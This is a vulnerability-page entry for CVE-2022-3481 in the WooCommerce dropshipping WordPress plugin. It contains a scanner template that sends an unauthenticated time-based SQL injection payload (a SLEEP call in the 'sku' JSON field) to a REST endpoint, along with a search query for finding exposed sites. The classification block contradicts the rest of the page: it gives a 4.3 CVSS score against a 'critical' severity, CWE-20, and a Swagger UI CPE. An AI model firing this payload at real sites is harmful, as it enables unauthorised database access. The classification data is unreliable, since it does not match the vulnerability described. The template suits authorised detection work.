CVE-2022-3481: NotificationX Dropshipping < 4.4 - SQL Injection

2025-08-01 NotificationX Dropshipping PoC Public

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection

PoC

id: CVE-2022-3481

info:
  name: NotificationX Dropshipping < 4.4 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records.
  remediation: |
    Update NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints.
  reference:
    - https://wpscan.com/vulnerability/c5e395f8-257e-49eb-afbd-9c1e26045373
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2022-3481
    cwe-id: CWE-20
    epss-score: 0.03947
    epss-percentile: 0.89878
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/woocommerce-dropshipping"
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,woocommerce,notificationx,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "code\":", "message\":\"Product", "status\":400")'
        condition: and
# digest: 490a0046304402203408869a9933ad016e81febaf9aa155ff429505c10e34dbc141d3ed3135d11b402203989b75737ca8f3aa14fb42bc74d9209ab0aa081bbae2fec2bf807467c75880a:922c64590222798bb761d5b6d8e72950

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